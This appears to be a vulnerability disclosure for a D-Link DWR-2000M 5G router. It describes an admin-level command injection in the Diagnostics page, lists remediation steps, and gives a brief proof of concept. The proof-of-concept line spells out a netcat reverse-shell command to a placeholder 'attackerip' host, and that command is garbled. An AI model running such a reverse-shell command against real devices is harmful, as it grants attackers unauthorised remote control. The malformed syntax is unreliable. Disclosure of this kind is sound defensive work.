**DWR 2000M 5G (CPE) Multiple Security Vulnerability**



**09-Feb-2024**

|  |  |
| --- | --- |
| **Submitted By** |  |
| **Vinod Kumar Shrimalii (mrnmap)**  **Nayab Keshodwala (NK)** |  |

**NAME OF AFFECTED PRODUCT(S) AND VERSION(S)]**

**Model:** DLink DWR 2000M 5G CPEWith Wifi 6 Ax1800

**Version:** DWR-2000M\_1.34ME

1. **Remote Code execution with admin privilege CRITICAL**

The discovery of a command injection vulnerability in the "Diagnostics" utility page of the Dlink 5G CPE firmware has escalated concerns due to the additional risk of reverse shell attacks. Exploiting this vulnerability not only allows arbitrary execution of system commands but also facilitates the establishment of a reverse shell, providing attackers with unsauthorized remote access to the device. Urgent measures are necessary to mitigate these risks effectively.

**Recommendation**

* Prioritize the development and deployment of patches to address the command injection vulnerability in the Dlink 5G CPE firmware.
* Implement immediate remediation measures to prevent further exploitation, including temporarily disabling the affected utility page if necessary.
* Enhanced Input Validation and Filtering:
* Strengthen input validation mechanisms to thoroughly sanitize user-provided commands, blocking any attempts at injection of malicious payloads.
* Implement strict filtering rules to detect and neutralize known patterns indicative of reverse shell commands.
* Network Segmentation and Access Control:
* Employ network segmentation strategies to isolate critical devices and limit the scope of potential attacks.
* Implement robust access control policies to restrict remote access to authorized users only, reducing the attack surface for reverse shell exploitation.

**Remote Code execution with admin privilege -POC**

* Converting command injection to RCE via following command rm -f /tmp/p; mkfifo /tmp/p p && nc attackerip 4444 0/tmp/f and getting reverse connection over local network

**A screenshot of a computer

Description automatically generated**

* Taking same connection over internet bypassing sim restriction

A screenshot of a computer

Description automatically generated